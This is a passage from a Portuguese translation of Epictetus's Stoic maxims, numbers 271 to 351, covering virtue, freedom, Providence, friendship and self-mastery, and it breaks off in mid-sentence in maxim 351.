Máximas de Epitecto – 5

Máximas de Epitecto – 5

MÁXIMAS DE EPICTETO

Tradução de Alberto Denis
Compilação da 1ª Edição da
GRÁFICA E EDITORA EDIGRAF LTDA.
São Paulo, Brasil Col. Biblioteca de Autores Célebres

Material enviado por Tiago Tomasi

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271

           A cada tentação
pensa, no íntimo: eis um grande combate, eis uma ação completamente divina,
trata-se da liberdade, da felicidade, da inocência; lembra-te dos deuses,
chama-os em teu auxílio, e eles combaterão por ti. Invocas Cáster e Pólux numa
tempestade; pois bem, a tentação é, para ti, uma tempestade mais perigosa.

272

           O sol não espera
que lhe supliquem difundir luz e calor. Imita-o e faze todo o bem que puderes,
sem esperar que to implorem.

273

           Lembra-te sempre
do que disse Eumeu, em Homero, a Ulisses, que o não reconhecia, e lhe agradecia
os bons tratos: – Não me é lícito menosprezar nem maltratar um forasteiro que
vem a minha casa; nem o seria, ainda que estivesse em condição mais vil e
desprezível que aquela em que vos encontrais, porque os forasteiros e os pobres
são enviados de Deus. – Fala da mesma maneira a teu pai, a teu irmão e ao teu
próximo: não me é lícito portar-me mal convosco, nem mo seria, ainda que fosse
mais miserável o vosso estado, porque sois enviados de Deus.

274

           Por que caminhas
tão erecto como se levasses no corpo uma árvore? – Quero ser admirado por
todos os transeuntes e ouvir dizer à direita e à esquerda: olhai, um grande
filósofo. –
Quem são, pois, essas pessoas a cuja admiração aspiras? Não
disseste repetidas vezes, tu próprio, que eram loucas? Como queres ser, agora,
o primeiro entre elas?

275

           Um dia respondeu
Diógenes a um homem que lhe pedia cartas de recomendação: – Meu amigo, aquele a
quem pretendes que eu escreva em teu favor verá logo, sem o meu auxílio, que és
um homem, e se for conhecedor, verá, mais, se és bom ou mau; se não for bom
conhecedor, ainda que eu lhe escreva cem cartas, não chegará a conhecer-te.
Será melhor que procures parecer-te à moeda de ouro, que se recomenda por si
própria a todos os que sabem distinguir o verdadeiro do falso.

276

           Quando um corvo te
prediz alguma coisa com o seu grasnar, crês que é um deus que te fala, e não um
corvo. Do mesmo modo, quando um filósofo te adverte, crê que é um deus quem te
adverte, e não um filósofo.

277

           Começa as tuas
ações e todas as tuas empresas com esta prece: – conduzi-me, grande Júpiter, e
vós, poderoso Destino, aonde eu tiver de ir. Seguir-vos-ei com todo o meu
coração, e sem demora.

278

           Assim como, quando
passeias, cuida de não pisar uma pedra e torcer um pé, cuida de não ferir-te a
parte principal de ti próprio e a que te conduz. Se em cada ação da nossa vida
observássemos esse preceito, estaríamos sempre certos de nos não enganar.

279

           Não te chames
filósofo em nenhuma ocasião, nem exibas perante os ignorantes belas máximas,
mas faze tudo quanto essas máximas prescrevem. Por exemplo, num festim, não
digas como se deve comer, mas come segundo se deve e lembra-te de que, em tudo
e por tudo, Sócrates evitava qualquer ostentação e fausto; os jovens
suplicavam-lhe os recomendasse a um filósofo, e ele o fazia, sofrendo com
inteira paciência o pouco que dele faziam.

280

           As nossas
austeridades e os nossos exercícios físicos não devem ser nem extraordinários
nem incríveis; de outro modo, seremos bateleiros e não filósofos.

281

           Não ouças a
leitura de obras de certas pessoas; mas se, uma ou outra vez, a ouvires,
conserva nela a gravidade, a atenção e a doçura, sem mesclá-las a nenhuma
mostra de pesar ou de tédio.

282

           Por que são os
ignorantes mais fortes que vós nas disputas e, por fim, vos reduzem ao
silêncio? – Porque estão profundamente persuadidos das suas falsas máximas, e
vós apenas debilmente da verdade das vossas. Estas não partem do coração;
nascem apenas nos lábios; por isso é que são fracas e mortiças. Expõem ao
público desprezo essa mísera virtude que não cessais de alardear, e fundem-se como
cera ao sol. Afastai-vos, pois, do sol, enquanto tiverdes opiniões de cera.

283

           Se quisermos ser
verdadeiros filósofos, tratemos antes de fazer que a nossa vontade se ajuste e
acomode aos fatos consumados, para estarmos sempre contentes com o que suceder
e o que não suceder. Assim, teremos a grande vantagem de jamais deixar de obter
o que desejarmos e jamais cair no que motiva os nossos temores. Passaremos a
vida com o próximo sem temor nem perturbação, e conservaremos todos os nossos
laços naturais, cumprindo perfeitamente o nosso dever de pais, de filhos, de
irmãos, de cidadãos, de esposos, de vizinhos, de associados, de magistrados e
de súbditos.

284

           Não queiras passar
por sábio, e se chegares a adquirir fama de tal, no conceito de alguns,
desconfia de ti próprio. Sabe que não é fácil conservar a tua vontade segundo a
natureza, conservando as coisas exteriores, necessariamente terás de descuidar
uma coisa ou outra.

285

           Acabas de ralhar
com os teus criados, de semear em tua casa a desordem e de perturbar e
escandalizar os vizinhos, e depois vens, como homem prudente, ouvir um filósofo
e pensar acerca dos deveres do homem e da natureza das virtudes. Todos esses
preceitos te são inúteis, porque, se não vens ouvi-los com a disposição
necessária para tanto, regressas como vieste.

286

           Que vida é a tua?
Depois de haveres dormido bem, levantas-te à hora que queres, bocejas,
distrais-te e lavas o rosto. Em seguida, ou te apossas de um péssimo livro,
para matar o tempo, ou escreves uma frioleira, para que te admirem. Sais,
então, e vais fazer visitas, passear e divertir-te. Voltas, tomas um banho,
comes e deita-te. Não revelarei os mistérios das trevas, que são fáceis de
adivinhar. Com esses costumes de epicurista e folgazão luxurioso, falas como
Zeno e Sócrates. Meu caro, muda de costumes ou de linguagem. Quem usurpa o
título de cidadão romano é severamente punido, e os que usurpam o de filósofo
ficarão impunes? Não é possível, pois isso contraria a imutável lei dos deuses,
que estabelece a proporcionalidade entre crime e pena.

287

           A escolha das
amizades não é indiferente. Se com freqüência privas com um vicioso, a não ser
que sejas muito forte, é mais fácil temer que te corrompa que esperar que o
corrijas. Pois que há tanto perigo no comércio com os ignorantes, é preciso
nele agir com muita prudência e sabedoria.

288

           Tens febre e te
queixas, porque dizes que não podes estudar. Para que estudas, então? Não é
para chegares a ser sofrido, constante, firme? Procura ser assim também na
febre, e não saberás pouco. A febre é uma parte da vida, como o passeio, as
viagens, e é ainda mais útil, porque põe à prova o prudente e lhe dá a ver o
progresso que nele se verificou.

289

           Se puderes, não
proves o prazer do amor antes do casamento, e se o provares, que seja ao menos
segundo a lei; mas não sejas severo com os que te não imitem, não os repreenda
com rancor nem tampouco te vanglories, a cada instante, da tua continência.

290

           Não desanimes, e
imita os mestres de exercícios, que, quando um discípulo cai ao chão, mandam se
levante e lute de novo. Dize coisa semelhante ao teu espírito. Nada é mais
dócil e flexível que o espírito do homem: basta-lhe querer, mas se fores uma
vez fraco, estarás perdido, pois te não levantarás nunca mais na vida.

291

           Todas as coisas
apresentam dois aspectos: um que as torna fáceis de suportar, e outro muito
difíceis. Se teu irmão te faz injustiça, não consideres a injustiça que te faz,
porque não poderás suportá-la; considera isso sob outro ponto de vista, isto é,
sob o aspecto que te apresenta um irmão, um homem que tenha sido criado
contigo, e tal consideração te tornará a injúria suportável.

292

           Queres saber se
dois homens são amigos? Não perguntes se são irmãos, se foram educados juntos,
se tiveram os mesmos mestres e preceptores; pergunta apenas em que fazem
consistir a sua intimidade. Se nas coisas que não dependem de nós, guarda-te de
afirmar que são amigos; não o são, nem tampouco fiéis, constantes e livres; mas
se fundam a intimidade nas coisas que dependem de nós e em sãos juízos, não te
preocupe saber se são pai e filho, ou irmãos, nem se se conhecem há muito
tempo, e afirma, sem temor, que são amigos, porque, é possível não haver
amizade onde há felicidade e comunicação de tudo quanto é belo e honesto?

293

           Não existe no
mundo coisa a que qualquer animal esteja tão fortemente ligado como à própria
utilidade; tudo quanto o priva do que lhe é útil, quer seja pai, irmão, filho,
amigo, tudo lhe é insuportável, porque ama apenas a sua utilidade, que lhe
serve de pai, de irmão, de filho, de amigo, de pátria e até de Deus.

294

           Quase sempre se
medem os deveres pelos diferentes laços de união. Trata-se de teu pai? Deves
cuidar dele, obedecer-lhe em tudo e sofrer com paciência as suas injúrias e os
seus maus tratos. Mas é um mau pai. E então? A natureza ligou-te
necessariamente a um bom pai? Não, mas ligou-te a um pai. Teu irmão é injusto
contigo? Conserva a despeito disso o caráter de irmão, e não penses no que faz,
senão no que deves fazer, e no estado em que chegará a encontrar-se a tua
liberdade, se fizeres o que a natureza ordena que faças, por que outro alguém
te não ofenderá nem ferirá, se não quiseres, e não serás ferido nem ofendido
senão quando julgares sê-lo. Por tal meio, estarás sempre satisfeito com o teu
vizinho, o teu concidadão, o teu superior, se te habituares a ter presentes,
constantemente, esses laços de união.

295

           Os homens ergueram
templos e altares a Triptolemo, por ter descoberto um alimento menos selvagem e
grosseiro que o que antes dele se usava. Quem dentre nós ergue um altar no
coração e abençoa os que encontraram a verdade e de nossa alma arrojaram a
ignorância e o erro?

296

           O que perturba os
homens não são as coisas, mas as opiniões que delas tem. Por exemplo, a morte
não é um mal; pelo menos foi essa a opinião de Sócrates. A idéia que da morte
se tem é que dela faz um mal. Quando estamos cabisbaixos, perturbados ou
tristes, não acusemos ninguém, a não ser a nós próprios, isto é, às nossas
opiniões.

297

           Acerca de cada um
dos objetos que se te apresentem, não te esqueças de pensar, reconcentrando o
espírito, e de indagar que virtude possuis para fazer bom uso desse objeto. Se
encontrares uma formosa mulher, acharás em ti uma virtude: a continência; se
for uma dor, um trabalho, acharás o valor; se forem injúrias, afrontas, acharás
a resignação e a paciência. Se de tal maneira te habituares a exibir perante
cada acidente a virtude que a natureza te deu para combatê-lo, serás sempre
vencedor.

298

           Afirmas que são
incompatíveis a confiança e a precaução. É um erro. Faze recair a precaução
sobre todas as coisas que dependem de ti e a confiança sobre as que de ti não
dependem. Serás, assim, confiado e precavido, porque, evitando com prudência os
verdadeiros males, não temerás os falsos com que, talvez, sejas ameaçado.

299

           – Quero
sentar-me no anfiteatro, no banco dos senadores. –
Asseguro-te que farás um
mau papel e te sentirás incomodado. – Não poderei ver comodamente os jogos
em outra parte? –
Não os vejas; que necessidade tens de ver os jogos?
Agora, se o que te obriga a ir é a ânsia de te sentares nesse banco, espera que
todos saiam. Quando o espetáculo tiver terminado, sentar-te-ás no banco
desejado, e nele estarás à vontade.

300

           É impossível que
eu não cometa erros; mas é muito possível que, continuamente, cuide de os não
cometer. E essa atenção continuada muito contribuirá para lhes diminuir o
número.

301

           Quando vires um
homem curioso e diligente em coisas que dele não dependem, podes ter a certeza
de que é falador e jamais saberá guardar um segredo; não haverá necessidade de
aproximar-lhe pez fervente nem roda, para que fale. O olhar de uma mulher, a
menor complacência de um cortesão, a esperança de uma dignidade, de um cargo, a
perspectiva de um legado e mil coisas semelhantes lhe arrancarão, sem trabalho,
o teu segredo.

302

           Queixas-te da
solidão. A que chamas estar sozinho? Estar separado do comércio dos homens e
privado do seu auxílio? Reflete que, bastas vezes, não estamos menos sozinhos
em Roma, e no meio dos parentes, dos amigos, dos vizinhos e de um bando de
escravos. O que rompe a solidão não é a vida do homem, mas a sua fidelidade e
virtude. Deus está contente consigo próprio, e em si acha tudo; procura
parecer-te a ele, visto que isto está em teu poder. Fala contigo próprio;
quantas coisas não tens que dizer-te e perguntar-te! Para que precisas dos
outros? Estás privado de todo auxílio; não tens pais, nem irmãos, nem amigos?
Tens, em troca, um pai imortal que não deixa de cuidar de ti, e de prestar
todos os auxílios necessários.

303

           Assim como a menor
distração de um piloto pode fazer perecer um barco, a menor negligência da
nossa parte, a menor falta de atenção, pode fazer-nos perder todo o progresso
realizado no caminho da sabedoria. Vigiemos, pois; o que temos de conservar é
mais precioso que um barco carregado de bens. É o pudor, é a fidelidade, a
constância, a submissão e os mandamentos dos deuses, a isenção de dor, de medo,
numa palavra, a verdadeira liberdade.

304

           Nada temas, e não
haverá para ti homem terrível nem formidável, assim como não há cavalo terrível
para outro cavalo, nem abelha para outra abelha. Não vês que os teus desejos e
temores são a guarda que os tiranos mantêm dentro de ti, como numa fortaleza,
para escravizar-te? Expulsa essa guarda, recobra a posse do teu forte, e serás
livre.

305

           – Vil filósofo! diz-me um grão senhor que se preza de livre e independente; – ousas
chamar-me escravo, a mim, cujos antepassados foram livres, a mim, que sou
senador, que fui cônsul e que sou favorito do príncipe? –
Grande senador,
provai-me que os vossos antepassados não sofreram a mesma servidão que vós. Mas
concedo-o. Foram generosos, e vós sois concupiscente. Foram frugais, e vós sois
glutão. – Que tem que ver isso com a liberdade? – Muito, porque não
chamareis livre ao que faz o contrário do que quer. – Mas eu faço tudo
quanto quero, e ninguém pode forçar-me a vontade, a não ser o Imperador, que é
meu senhor, que é senhor de tudo. –
Grande cônsul, acabamos de ouvir dos
vossos lábios a confissão de que há um senhor que vos pode forçar a vontade. Se
é senhor de todo o mundo, isso vos proporciona o triste consolo de ser escravo
numa grande casa e no meio de milhões de escravos.

306

           A proteção de um
Príncipe, e ainda a de um grande senhor, basta para fazer-nos viver
tranqüilamente e a coberto de qualquer alarme. Consideramos os deuses
protetores, curadores, pais, e, assim mesmo, não bastam para nos dissiparem os
pesares, as inquietações e os temores.

307

           Tudo quanto sucede
no mundo louva a Providência. Para o compreender, basta ser varão inteligente e
reconhecido.

308

           Se a Divindade,
que fez as cores, não tivesse criado olhos que pudessem apreciá-las, de que
serviriam elas? E se houvesse criado as cores e os olhos, sem criar a luz, que
utilidade teriam umas e outros? Quem fez, pois, essas três coisas, umas para as
outras? Quem é o autor dessa maravilhosa aliança? A Divindade. Existe, pois,
uma Providência.

309

           Que fazem os
homens? Tremem pelo que temem ou choram pelo que sofrem. Essas inquietações e
essas lágrimas geram a impiedade.

310

           A Divindade deu-te
armas com que resistir a todos os sucessos, por horríveis que sejam. Deu-te a
grandeza de alma, a força, a paciência, a constância. Serve-te delas; se o não
fazes, confessa que o não sabes fazer, apesar de te haverem sido entregues.

311

           Somos tão ingratos
que, acerca das mesmas maravilhas que a Providência realizou em nosso favor,
longe de lhe agradecer, a acusamos, e dela nos queixamos. Não obstante, se
tivéssemos um coração sensível e reconhecido, por pouco que o fosse, a menor
obra da Natureza bastaria para fazer-nos sentir a Providência e o cuidado que
nos dispensa.

312

           Em que empregam o
tempo os meninos quando estão sozinhos? Brincam, amassam barro e areia e fazem
castelos e palácios, que logo destroem. Assim, nunca lhes falta distração. O
que eles fazem loucamente, efeito da sua infância, não o farás tu, racionalmente,
e por efeito da sabedoria? Por toda parte dispomos de areia e barro. Em nós
próprios temos, portanto, muito que destruir. Logo, se estamos sozinhos, não
nos queixemos.

313

           Quando vês alguém
cheio de dor e vertendo amargas lágrimas pela morte ou pela partida do filho,
ou pela perda de um bem, cuida de que te não seduza a imaginação,
persuadindo-te de que tal homem padece verdadeiros males em virtude das coisas
exteriores, e faze em ti próprio a distinção de que o que o aflige não é o
acidente que lhe sobreveio, senão a opinião que dele tem formada. Se preciso,
não recuses chorar com ele e partilhar da sua dor; mas não leves a compaixão ao
extremo de te afligires demasiadamente.

314

           Por uma liberdade
que é falsa, expõem-se os homens aos maiores perigos: atiram-se ao mar,
precipitam-se das mais elevadas torres. Tem-se visto cidades inteiras morrer. E
tu, por uma liberdade verdadeira, segura, não ousarás enfrentar nenhum
trabalho?

315

           Há pequenos
escravos e grandes escravos. Os pequenos são aqueles que se fazem escravos por
coisas à toa, por dinheiro, por pequenos serviços. Grandes são os que se fazem
escravos pelo consulado, por governos de província. Diante desses, vês os que
levam as achas e os feixes, que são escravos de escravos.

316

           Não queres
pertencer ao número dos escravos? Rompe os grilhões, liberta-te, não abrigues
despeito nem temor. Aristides, Epaminondas e Licurgo não foram chamados,
respectivamente, Justo, Libertador e Deus, pelas riquezas, nem pelos
escravos, senão por haverem dado a liberdade à Grécia.

317

           Estamos quase
todos na vida como os escravos fugitivos nos espetáculos; esses escravos sentem
enorme prazer ao ver a pompa dos jogos, admiram os atores de uma tragédia, mas
vivem constantemente inquietos, olham para cá e para lá; se ouvem nomear o amo,
enchem-se de medo e tentam a fuga. Somos como eles: admiramos as maravilhas da
Natureza, cujo espetáculo nos encanta, mas estamos sempre alarmados, e, quando
se nomeia o nosso amo, estamos perdidos. Quem é o nosso amo? Não é homem,
porque o homem não pode ser amo do homem; é a morte, a vida, o prazer, a dor, a
pobreza, a riqueza. Se o próprio César vier a mim sem tal cortejo, permanecerei
sereno e firme, mas se vir com os seus satélites, gritando e ameaçando, hei de
temê-lo. Não sou o escravo fugitivo que se encontrou com o dono? Se o não temo,
estarei plenamente livre, pois é sinal de que não tenho outro amo senão a mim
próprio.

318

           Um tirano me diz:
Sou amo, tudo posso. Ah! Que podes? Podes dar-me um claro
entendimento? Podes tirar-me a liberdade? Que podes, então? Num barco, não
dependes, acaso, do piloto? No teu carro, não dependes do cocheiro? – Todo o
mundo me adula e me faz a côrte. –
Mas essa côrte te é feita como homem?
Demonstra-me que assim és considerado, que todos querem parecer-te contigo, ser
teus discípulos, como de Sócrates. – Mas posso mandar que te seja cortado o
pescoço. –
Dizes bem; havia-me esquecido de que é preciso fazer-te a côrte,
como a fazemos aos deuses nocivos, e oferecer-te sacrifícios, como à febre. Ela
não tem, em Roma, um altar? Tu o mereces mais que ela, porque és pior. Seja
como for, ainda que os teus satélites e toda essa tua pompa espantem e
perturbem a via pública, nada do que é exterior conseguirá perturbar-me. Podes
ameaçar-me, mas sou livre. – Tu livre? Como? – A própria Divindade me
libertou. Pensas que deixará que seu filho caia em teu poder? És senhor do meu
cadáver; toma-o, se queres, mas a tua cólera não me atinge o espírito.

319

           Quem pode
impedir-te de seguir a verdade conhecida, e forçar-te a aprovar o que é falso?
Tens um livre arbítrio, do qual ninguém pode despojar-te. Se a tua liberdade
pudesse ser forçada, a Divindade não teria por ti o cuidado de um bom pai e o
que por ti tem na verdade.

320

           – E há uma
Providência?
dizia um epicurista; sinto no nariz um grãozinho de pó que
me incomoda incessantemente.
Vil escravo! Para que tens as mãos? Não é para
que possas assoar-te? – Mas, não seria melhor se não houvesse grãos de pó? – E não seria melhor que te assoasses do que acusar a Providência?

321

           Se julgas que a
ventura consiste em residir em Roma ou em Atenas, estás perdido, porque, uma
vez que delas estejas ausente, sofrerás, e quando regressares experimentarás
uma alegria que te será funesta. Desconfia destas exclamações: Roma é uma
bela cidade! Não há outra Atenas!
Só há uma ventura, e é mais bela que
todas as cidades. Em Roma e Atenas é preciso adular e fazer a côrte a muita
gente. Não deverias estar contente por poder trocar pela ventura tantas
sensaborias?

322

           Os homens
desculpam os erros que cometem, como tem sucedido a mim próprio. Tendo-me Rufo
repreendido por um erro, – E então, respondi-lhe, queimei, por acaso,
o Capitólio? –
Vil escravo, replicou-me, haver queimado o Capitólio é haver
errado tanto quanto podias nessa ocasião!

323

           Tens febre, mas se
a tens, como deves, tens tudo o que podes ter melhor com ela. Que é ter a febre
como se deve? Não queixar-se dos deuses nem dos homens, não alarmar-se com a
idéia do que pode acontecer, esperar valorosamente a morte, não regozijar-se
excessivamente quando o médico diz que há melhora, e não afligir-se quando diz
que se está pior. Pois, que é estar pior? Aproximar-se do termo e do instante
em que a alma se há de separar do corpo. Chamas a essa separação um mal? Ainda
que a morte não sobrevenha hoje, deixará, por acaso, de vir amanhã? E contigo
terminará o mundo? Permanece, pois, tranqüilo tanto na febre como na saúde.

324

           Há noções comuns
em que convêm todos os homens. As disputas, as sedições, as guerras, de que
procedem? Da aplicação dessas noções comuns a cada caso particular. A justiça e
a santidade são preferíveis a todas as coisas; ninguém duvida de tal. Mas, é
justo? É santo? Eis aqui o motivo de controvérsia. Arrojemos para longe de nós
a ignorância e aprendamos a aplicar essas noções a cada caso particular; não
haverá mais disputas nem guerras. Aquiles e Agamenon estarão de acordo.

325

           Se tens por hábito
levar uma vida frugal e tratar com dureza o corpo, não te rejubiles por isso, e
se bebes apenas água não digas, por qualquer motivo, que apenas água bebes. Se
queres exercitar-te na paciência e na tolerância para contigo e não para com os
outros, não abraces as estátuas, mas na sede mais ardente toma água fresca na
boca, atira-a para longe, e não digas nada a ninguém.

326

           Veio um homem
consultar-me acerca do propósito que nutria de entrar na irmandade dos
sacerdotes de Augusto, em Nicópolis. Eis, disse-lhe eu, um gosto bem inútil. – Mas
o meu nome se perpetuará, pois será inscrito nos registros. –
Inscreve-o
numa pedra e durará muito mais. Além do mais, quem te conhecerá, fora dos muros
de Nicópolis? – Levarei uma coroa de ouro. – Se é uma ambição, coroa por
coroa, leva uma de rosas; pesar-te-á menos e te assentará melhor.

327

           Um homem te
confiou o seu segredo, e crês que é honesto, justo e político confiar-lhe
também o teu; és um tonto, um parvo. Lembra-te do que viste fazer com freqüência.
Um soldado, trajado de labrego, vai sentar-se perto de um cidadão, e após
alguns preâmbulos, começa a falar mal de César. O cidadão, cativado por tal
franqueza, e julgando ter o segredo do soldado por prenda de fidelidade,
abre-lhe o coração, queixa-se do Príncipe, e o soldado, revelando-se o que é
realmente, o prende. Eis o que sucede todos os dias. Aquele que te confiou o
teu segredo, freqüentemente só tem a máscara e o traje de homem honrado. Aliás,
isso não é confiança, é intemperança de língua: o que te diz ao ouvido, di-lo
ao primeiro que passa. É um tonel aberto, e não guardará o teu segredo, como
não guardou o dele.

328

           Quando afirmas que
te corrigirás amanhã, é como se dissesses que hoje queres ser imprudente,
luxurioso, covarde, iracundo, invejoso, interessado e pérfido. – Mas amanhã
serei outro homem.
Por que não hoje? Começa, hoje, por preparar-te para
amanhã; de outro modo, ficarás sempre no mesmo estado.

329

           – A saúde é um
bem, a enfermidade é um mal.
Erro. Usar bem a saúde é um bem, usá-la mal é
um mal; usar bem a enfermidade é um bem; usá-la mal é um mal. De tudo se tira o
bem, até da própria morte. Meneceu, filho de Creonte, não atingiu um grande
bem, quando se sacrificou pela pátria? Comprovou a piedade, a magnanimidade, a
fidelidade, o valor. Se tivesse tido apego à vida, tudo houvera perdido, e
demonstrado os vícios contrários: ingratidão, impiedade, pusilanimidade,
infidelidade, covardia. Para serdes livres, abri os olhos à verdade.

330

           Se bem
considerares o modo de pensar do verdadeiro filósofo e as luzes do seu
entendimento, encontrá-los-ás bem esclarecido. Argos, com todos os seus olhos,
te parecerá, ao seu lado, um cego.

331

           Examino os homens,
o que dizem, o que fazem, não para criticá-los nem para rir-me deles, senão
para perguntar-me: cometo os mesmos erros? Quando me corrigirei? Há pouco, eu
procedia da mesma maneira. E se não peco do mesmo modo é por mercê dos deuses.

332

           Diz Epicuro que as
crianças não devem ser alimentadas nem educadas, pois não há nada mais
contrário ao verdadeiro bem que, para ele, consiste no prazer. Pobre Epicuro!
Quer que sejamos mais desnaturados que as feras, as quais nunca abandonam os
filhos? A caridade dos pais com os filhos é tão natural, que, estou certo, se
teu pai e tua mãe houvessem sabido, por um oráculo, que um dia sustentarias tão
insensata afirmação, nem por isso houveram deixado de educar-te.

333

           Ocupas no mundo um
lugar eminente e te convertes em perseguidor e tirano do próximo. Esqueces-te
de quem és e a quem mandas? Mandas a teus irmãos. – Comprei o meu cargo, as
minhas prerrogativas, os meus direitos.
Infeliz; todos os teus pensamentos
são de lama e areia, só dás atenção às leis humanas, e, na tua soberba, te
esqueces das divinas.

334

           Tens pena dos
cegos, dos coxos. Por que a não tens dos maus? São-no, por sua desdita, assim
como são coxos e cegos aqueles.

335

           Lembra-te de que
não é, de modo nenhum, uma necessidade ir com freqüência aos teatros e aos
jogos públicos, e se algumas vezes vais, não favoreças nenhum partido e
conserva o teu favor e interesse para ti próprio, isto é, contenta-te com o que
suceder e satisfaze-te com ser a vitória do vencedor, porque, por tal meio,
jamais te verás envergonhado nem contrariado. Guarda-te, também, de prorromper
em aclamações ou gargalhadas, e de fazer exagerados movimentos, e quando te
retirares, não fales longamente de tudo quanto viste, que isso te não reformará
os costumes nem tampouco te fará mais honrado; essas dissertações sempre dão uma
pobre idéia do que a elas se entrega, pois indicam que somente o espetáculo é
que lhe cativa a atenção.

336

           Se alguém se banha
antes da hora devida, não digas que faz mal em banhar-se, senão que faz mal em
banhar-se antes do tempo. Se alguém bebe muito vinho, não digas que faz mal em
beber, senão que bebe demasiadamente; pois, como podes saber se faz mal, sem
antes saberes o que deve fazer? Procede com parcimônia ao julgar qualquer
coisa: é difícil que, ao fazê-lo, não erres noutra.

337

           Se um filósofo
desasseado e horrível, como o criminoso que sai de uma prisão, me diz belas
máximas, como poderá atrair-me? Como poderá fazer-me amar uma filosofia que
leva um varão a tal estado? Não conseguirei dominar-me e prestar-lhe atenção,
e, por nada deste mundo, dele me aproximarei. Cuidemos, pois, do asseio e da
decência. Digo o mesmo dos discípulos. Por mim, prefiro que um jovem, amante da
filosofia, venha ouvir-me bem asseado e vestido decentemente, a que venha sujo,
com os cabelos engordurados e mal penteados, pois disso deduzo que possui uma
idéia do belo e pende para o formal e honesto. Cuida da beleza que conhece, e
pode esperar-se que cuidará igualmente da que lhe derem a conhecer, da beleza
interior de que é preciso saber usar e a cujo lado é apenas fealdade a beleza
do corpo. Mas ao varão que aparece sujo, hediondo, coberto de gordura e
imundície, mal penteados os cabelos e a barba a lhe cair até a cintura, que
posso dizer-lhe para lhe dar a conhecer a beleza da qual não tem idéia? É um
porco, e preferirá sempre o atoleiro à mais bela fonte.

338

           Um tocador de
alaúde, mal empunha o instrumento, examina as cordas desafinadas e, sem
trabalho, as afina. Para viver bem no comércio dos homens, deve o sábio possuir
a arte de fazer com eles o que faz o músico com as cordas: examinar os que
discordam, fazê-los concordar e entre eles estabelecer a harmonia. Foi o que
fez Sócrates.

339

           Não há ciência que
não seja desprezada pelos ignorantes. Será a filosofia a única exceção a tal
regra? Logrará fugir às suas censuras e aos seus juízos errôneos?

340

           Se resisto a uma
mulher formosa, disposta a conceder-me um favor, a mim próprio digo:
"Muito bem, Epicteto; isso vale mais que a refutação do mais subtil
sofisma." Se resisto aos seus elogios e lhe repilo as carícias, posso
gabar-me de tal vitória muito mais que de triunfar dos mais difíceis
silogismos. Mas, como resistir a tão poderosa tentação? Querendo comprazer a
mim próprio e ser agradável aos olhos dos deuses; querendo, enfim, conservar a
pureza do corpo e da alma.

341

           Meu amigo, és
homem ou mulher? Se és homem, mostra-te tal, e não nos apresente um monstro.
Que pretendia dizer Sócrates, quando rogava a Alcibíades que se fizesse mais
belo? Aconselhava-o a descuidar da beleza do corpo para trabalhar apenas em
proveito da beleza da alma. – Devo, pois, ser sujo e desasseado? – De
modo nenhum, mas é preciso que o teu asseio seja varonil e digno de homem.

342

           Consiste o caráter
do ignorante em nada esperar de si próprio, e sim dos outros. O do filósofo
consiste em esperar de si próprio todo o seu mal e todo o seu bem.

343

           Não é freqüente
ver realizado tudo quanto promete a qualidade de homem. É um animal mortal,
dotado de razão, e por ela é que se diferencia dos outros animais. Quando se
afasta da razão, oculta-se o homem e surge o animal.

344

           Que faz um homem
que persegue a mulher do próximo? Pisa o pudor, a fidelidade, infringe as leis
da amizade, da sociedade, todas as mais santas leis; não pode ser considerado
amigo, nem vizinho, nem cidadão. Nem serve, tampouco, para escravo. É como
barco aberto, que só serve para mergulhar.

345

           Enquanto as
mulheres são jovens, não cessam os maridos de lhes elogiar a beleza e
chamar-lhes queridas e formosas. Vendo as mulheres que os maridos as consideram
apenas pela beleza física, nos adornos é que concentram todas as esperanças.
Por conseguinte, nada é mais útil e necessário que o esforço em lhes demonstrar
que serão honradas e respeitadas pela prudência, pelo pudor e pela modéstia.

346

           A primeira parte,
e a mais necessária, da filosofia é a que trata da prática dos preceitos, como
o de que se não deve mentir; a segunda é a que apresenta as demonstrações do
porque se não há de mentir, e a terceira a que comprova tais demonstrações, o
motivo por que são demonstrações e o que constitui nelas a verdade e a certeza,
explicando o que é demonstração, conseqüência, oposição, verdade, falsidade.
Esta terceira parte é necessária à segunda; a segunda à primeira, e a primeira
é a mais necessária, e aquela na qual nos devemos deter e fixar. Mas alteramos
essa ordem, e nos detemos inteiramente na terceira; todo o nosso trabalho, todo
o nosso esforço é para ela, para a demonstração teórica, e, em troca,
descuidamos inteiramente a primeira, que é a realização e a prática. Resulta,
assim, que mentimos; mas, em compensação, estamos prontos, a todo instante,
para demonstrar que se não deve mentir.

347

           Por que te chamas
estóico? Assume o nome que convém aos teus atos, e não te adornes do que te não
convém e nada mais faz que desonrar-te. Por toda parte se me antolham homens
que enaltecem as máximas do estoicismo, mas não vejo estóicos. Mostra-me um
estóico, um apenas. Um estóico, isto é, um homem que na enfermidade se ache
ditoso, que ditoso se ache no perigo, e ditoso também no meio do desprezo e da
calúnia. Se não podes mostrar-me esse estóico acabado e perfeito, mostra-me um
que comece a sê-lo. Mostra-me um homem sempre em conformidade com a vontade
divina, que jamais se queixe dos deuses, nem dos homens, que nunca veja
frustrados os seus desejos, que não seja lastimado por ninguém, nem saiba o que
é inveja, cólera, soberba; que, com um corpo mortal, sustente um secreto
comércio com os deuses e que anseie por despojar-se da veste mortal e a eles
unir-se em espírito.

348

           Nem as vitórias
dos jogos olímpicos, nem as que se alcançam nas batalhas, tornam o homem feliz.
As túnicas que o tornam ditoso são as que logra contra si próprio. São combates
as tentações e provas. Foste vencido uma, duas, muitas vezes; combate ainda.
Se, por fim, chegares a vencer, serás ditoso pelo resto da vida, como se sempre
houvesses vencido.

349

           Quando a
imaginação tentar escravizar-te com uma idéia luxuriosa, não te deixes
arrastar, sem dizer-lhe: Espera que examine o que me apresentas. Não lhe
permitas passar adiante e forjar imagens mais sedutoras, pois, se a deixares,
estarás perdido e ela te aprisionará. Em vez dessas pinturas horríveis,
obriga-a a te apresentar imagens mais ditosas, mais belas, mais nobres. É o
meio de não ser vencido.

350

           Por que não julgam
os homens a filosofia como julgam as demais artes? Um obreiro termina o seu
trabalho de modo imperfeito, e somente a ele é que se atribui a culpa; diz-se
que é um mau obreiro, mas que a sua arte não cai no descrédito. Em troca, um
filósofo comete um erro e todos se guardam de dizer: "Este não é
filósofo", mas dizem: "Vede o que são os filósofos; a filosofia para
nada serve." De que procede tal injustiça? De, por pouco que o seja, ser
qualquer arte mais conhecida pelos homens do que a filosofia, e de os não
cegarem as paixões, tratando-se de artes que os lisonjeiam e lhes são
manifestamente úteis, enquanto a filosofia os combate e fere nos seus erros e vícios.

351

           Basta, para ser
músico, comprar uma partitura, um violino e um arco? Basta, para ser
